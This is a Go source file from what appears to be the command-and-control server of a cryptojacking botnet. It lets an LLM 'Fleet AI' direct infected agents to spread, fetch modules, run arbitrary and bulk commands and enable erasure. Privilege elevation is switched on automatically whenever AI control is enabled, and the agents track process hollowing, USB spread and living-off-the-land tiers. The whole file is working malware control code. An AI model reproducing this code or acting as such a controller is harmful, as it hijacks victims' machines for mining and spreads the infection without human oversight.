package api import ( "encoding/json" "fmt" "strings" fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) // FleetAIConfigView is the Calibrate subset for Fleet AI Control. type FleetAIConfigView struct { AIControlEnabled bool `json:"ai_control_enabled"` AIEndpoint string `json:"ai_endpoint"` AIModel string `json:"ai_model"` AINoContext bool `json:"ai_no_context"` AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"` AIPersona string `json:"ai_persona"` } // FleetAIConfigSource reads/writes Fleet AI settings from server config. type FleetAIConfigSource interface { GetFleetAIConfig() FleetAIConfigView UpdateFleetAIConfig(FleetAIConfigView) error } // FleetAISnapshot builds agent snapshots from DB + WS hub state. func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) { if h == nil || h.db == nil || agentID == "" { return fleetai.AgentSnapshot{}, false } agent, err := h.db.GetAgent(agentID) if err != nil || agent == nil { return fleetai.AgentSnapshot{}, false } snap := fleetai.AgentSnapshot{ AgentID: agentID, Name: agent.Name, Worker: agent.WorkerName, Platform: agent.Platform, Version: agent.Version, BuildID: agent.BuildID, GOOS: agent.Platform, MiningHashrate: agent.MiningHashrate, LOTLTier: agent.LOTLTier, JoinLane: agent.JoinLane, ChainExhausted: agent.ChainExhausted, ChainOrder: append([]string(nil), agent.ChainOrder...), ActiveMethod: agent.ActiveMethod, VulnRisk: agent.VulnRiskScore, } for _, a := range agent.LOTLAttempts { snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{ Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs, }) } h.mu.RLock() if caps, ok := h.agentCapabilities[agentID]; ok { snap.Capabilities = capabilityFlags(caps) } if tel, ok := h.agentLiveTelemetry[agentID]; ok { mergeTelemetryIntoSnapshot(&snap, tel) } engine := h.adaptiveEngine aiMode := h.serverPolicy.AIControlEnabled h.mu.RUnlock() snap.SpreadState = describeSpreadState(agent, snap.Capabilities) if engine != nil { fp := engine.AgentFingerprint(agentID) if fp.GOOS == "" { fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain) } snap.FingerprintKey = fp.Key() } snap.Stuck = fleetai.ComputeStuck(snap) snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts) if aiMode { temperament := fleetai.PersonaSpreadTemperament(h.serverPolicySnapshot().AIPersona) snap.Adaptive = &temperament if len(temperament.Reasoning) > 0 { snap.AdaptiveSummary = temperament.Reasoning[0].Action } } else if engine != nil { fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain) adaptive := engine.StrategyForAgent(agentID, fp) snap.Adaptive = &adaptive if len(adaptive.Reasoning) > 0 { snap.AdaptiveSummary = adaptive.Reasoning[0].Action } } return snap, true } func capabilityFlags(caps models.AgentCapabilities) map[string]bool { return map[string]bool{ "hole_punch": caps.HolePunch, "remote_aggressive": caps.RemoteAggressive, "auto_spread": caps.AutoSpread, "mesh_p2p": caps.MeshP2P, "process_hollowing": caps.ProcessHollowing, "ai_enabled": caps.AIEnabled, "usb_spread": caps.USBSpread, } } func describeSpreadState(agent *models.Agent, caps map[string]bool) string { parts := []string{} if agent.USBSpread || (caps != nil && caps["usb_spread"]) { parts = append(parts, "usb") } if caps != nil && caps["auto_spread"] { parts = append(parts, "auto_spread") } if agent.JoinLane != "" { parts = append(parts, "lane:"+agent.JoinLane) } if agent.Campaign != "" { parts = append(parts, "campaign:"+agent.Campaign) } if len(parts) == 0 { return "idle" } return strings.Join(parts, ", ") } func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) { if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 { snap.MiningHashrate = v } if v, ok := tel["lotl_tier"].(string); ok && v != "" { snap.LOTLTier = v } if v, ok := tel["join_lane"].(string); ok && v != "" { snap.JoinLane = v } if v, ok := tel["chain_exhausted"].(bool); ok { snap.ChainExhausted = v } if v, ok := tel["active_method"].(string); ok && v != "" { snap.ActiveMethod = v } if raw, ok := tel["lotl_attempts"]; ok { if b, err := json.Marshal(raw); err == nil { var attempts []fleetai.TierAttempt if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 { snap.LOTLAttempts = attempts } } } if raw, ok := tel["chain_order"]; ok { if b, err := json.Marshal(raw); err == nil { var order []string if json.Unmarshal(b, &order) == nil { snap.ChainOrder = order } } } if v, ok := tel["vuln_risk_score"].(float64); ok { n := int(v) snap.VulnRisk = &n } if v, ok := tel["stuck"].(bool); ok { snap.Stuck = v } } func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int { attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts)) for _, a := range attempts { attemptByTier[a.Tier] = a } failed := 0 for _, tier := range fleetai.DefaultSpreadTiers() { if a, ok := attemptByTier[tier]; ok && !a.OK { failed++ } } return failed } // DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions. type DatabaseCourtAdapter struct { DB interface { FailureAtlasSummary(fingerprintKey, goos string) (string, error) GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error) ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error) } } func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string { if a == nil || a.DB == nil { return "" } summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos) if err != nil { return "" } return summary } func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) { if a == nil || a.DB == nil { return nil, false } stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey) if err == nil && stored != nil { p := strategy.PhenotypeFromStored(*stored) return &p, true } rows, err := a.DB.ListFleetPhenotypes("") if err != nil || len(rows) == 0 || goos == "" { return nil, false } prefix := goos + "|" var best *db.StoredPhenotype for i := range rows { row := &rows[i] if !strings.HasPrefix(row.Fingerprint, prefix) { continue } if best == nil || row.PeakHashrate > best.PeakHashrate { best = row } } if best == nil { return nil, false } p := strategy.PhenotypeFromStored(*best) return &p, true } // FleetAIExecutor dispatches parsed LLM commands via existing WS command paths. type FleetAIExecutor struct { Hub *WSHub } func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) { if e == nil || e.Hub == nil { return "", fmt.Errorf("hub unavailable") } args := cmd.Args if args == nil { args = map[string]interface{}{} } summary, err := e.executeCommand(agentID, cmd, args) e.recordOathForCommand(agentID, cmd, args, summary, err) return summary, err } func (e *FleetAIExecutor) executeCommand(agentID string, cmd fleetai.Command, args map[string]interface{}) (string, error) { switch cmd.Type { case fleetai.CmdNoop: return "noop", nil case fleetai.CmdRestartMining: if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil { return "", err } return "restart", nil case fleetai.CmdDiscoverAndJoin: if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil { return "", err } return "discover_and_join", nil case fleetai.CmdSpreadNow: if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil { return "", err } return "spread_now", nil case fleetai.CmdStageFetch: if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil { return "", err } return "stage_fetch", nil case fleetai.CmdSetAgentVersion: module, _ := args["module"].(string) if module == "" { module, _ = args["build_id"].(string) } if module == "" { return "", fmt.Errorf("set_agent_version requires module or build_id") } if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil { return "", err } return "fetch_module:" + module, nil case fleetai.CmdReorderTiers: return e.pushReorderTiers(agentID, args) case fleetai.CmdSpreadGraft: sourceID, _ := args["source_agent_id"].(string) if sourceID == "" { return "", fmt.Errorf("spread_graft requires source_agent_id") } graft, err := e.Hub.ApproveFleetGraft(sourceID, agentID) if err != nil { return "", err } return "spread_graft:" + graft.GraftTier, nil case fleetai.CmdBulkCommand: return e.runBulkCommand(args) case fleetai.CmdAgentCommand: action, _ := args["action"].(string) if action == "" { return "", fmt.Errorf("agent_command requires action") } sendArgs := map[string]interface{}{} for _, k := range []string{"command", "path", "data", "tail_lines"} { if v, ok := args[k]; ok { sendArgs[k] = v } } if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil { return "", err } return action, nil case fleetai.CmdPersonaTweak: persona, _ := args["persona"].(string) if strings.TrimSpace(persona) == "" { return "", fmt.Errorf("persona_tweak requires persona") } e.Hub.mu.Lock() policy := e.Hub.serverPolicy policy.AIPersona = fleetai.NormalizePersona(persona) e.Hub.serverPolicy = policy e.Hub.mu.Unlock() return "persona:" + policy.AIPersona, nil case fleetai.CmdEnableErasure: e.Hub.mu.Lock() policy := e.Hub.serverPolicy policy.ErasureLanesEnabled = true e.Hub.serverPolicy = policy e.Hub.mu.Unlock() return "erasure:on", nil case fleetai.CmdStrainHospice: strainID, _ := args["strain_id"].(string) strainID = strings.TrimSpace(strainID) if strainID == "" && e.Hub.db != nil { if ag, err := e.Hub.db.GetAgent(agentID); err == nil && ag != nil { strainID = strings.TrimSpace(ag.SpreadStrain) if strainID == "" { strainID = strategy.StrainFromSpreadLane(e.Hub.AgentJoinLane(agentID)) } } } if strainID == "" { return "", fmt.Errorf("strain_hospice requires strain_id or agent spread_strain") } reason, _ := args["reason"].(string) if strings.TrimSpace(reason) == "" { reason = "court L4 hospice vote" } rec, err := e.Hub.RetireStrainToHospice(strainID, string(strategy.StrainRetiredByCourt), reason) if err != nil { return "", err } return "strain_hospice:" + rec.StrainID, nil default: if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil { return "", err } return cmd.Type, nil } } func (e *FleetAIExecutor) recordOathForCommand(agentID string, cmd fleetai.Command, args map[string]interface{}, summary string, execErr error) { if e == nil || e.Hub == nil || e.Hub.db == nil { return } actionType := "" switch cmd.Type { case fleetai.CmdReorderTiers, fleetai.CmdSkipTier, fleetai.CmdSpreadRetryLane: actionType = db.OathSpreadTierEscalation case fleetai.CmdSpreadNow, fleetai.CmdDiscoverAndJoin: actionType = db.OathSpreadAttempt default: return } bridge := &OathLedgerBridge{DB: e.Hub.db, Hub: e.Hub} _ = bridge.Record( "ai_scheduler", actionType, agentID, agentStrainFromDB(e.Hub.db, agentID), oathOutcomeFromError(execErr), map[string]interface{}{ "command_type": cmd.Type, "args": args, }, map[string]interface{}{ "command_type": cmd.Type, "args": args, "summary": summary, "error": errorString(execErr), }, ) } func errorString(err error) string { if err == nil { return "" } return err.Error() } func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) { payload := map[string]interface{}{} if raw, ok := args["tier_order"]; ok { payload["tier_order"] = raw } if raw, ok := args["skip_tiers"]; ok { payload["skip_tiers"] = raw } if len(payload) == 0 { return "", fmt.Errorf("reorder_tiers requires tier_order") } body, _ := json.Marshal(payload) if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil { return "", err } return "reorder_tiers", nil } func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) { action, _ := args["action"].(string) if action == "" { return "", fmt.Errorf("bulk_command requires action") } ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"])) if len(ids) == 0 { return "", fmt.Errorf("bulk_command: no agent_ids") } sendArgs := map[string]interface{}{} if v, ok := args["command"]; ok { sendArgs["command"] = v } sent := 0 for _, id := range ids { if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil { sent++ } } return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil } func parseAgentIDs(raw interface{}) []string { switch v := raw.(type) { case []interface{}: out := make([]string, 0, len(v)) for _, item := range v { if s, ok := item.(string); ok && strings.TrimSpace(s) != "" { out = append(out, strings.TrimSpace(s)) } } return out case []string: return v case string: if strings.TrimSpace(v) == "" { return nil } return strings.Split(v, ",") default: return nil } } // WSHubSnapshotAdapter implements fleetai.SnapshotProvider. type WSHubSnapshotAdapter struct{ Hub *WSHub } func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string { if a == nil || a.Hub == nil { return nil } return a.Hub.ConnectedAgentIDs() } func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) { if a == nil || a.Hub == nil { return fleetai.AgentSnapshot{}, false } return a.Hub.FleetAISnapshot(agentID) } // ConfigAIAdapter wraps FleetAIConfigSource for the scheduler. type ConfigAIAdapter struct{ Src FleetAIConfigSource } func (a *ConfigAIAdapter) AIConfig() fleetai.Config { if a == nil || a.Src == nil { return fleetai.Config{} } v := a.Src.GetFleetAIConfig() interval := v.AIDecisionIntervalSec if interval <= 0 { interval = 60 } endpoint := strings.TrimSpace(v.AIEndpoint) if endpoint == "" { endpoint = "http://127.0.0.1:11434/v1" } return fleetai.Config{ Enabled: v.AIControlEnabled, Endpoint: endpoint, Model: strings.TrimSpace(v.AIModel), NoContext: v.AINoContext, IntervalSec: interval, AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled, Persona: fleetai.NormalizePersona(v.AIPersona), } } // DatabaseAIDecisionStore wraps db for InsertAIDecision. type DatabaseAIDecisionStore struct { DB interface { InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error } } func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error { if s == nil || s.DB == nil { return nil } if court == nil { return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "") } return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict) }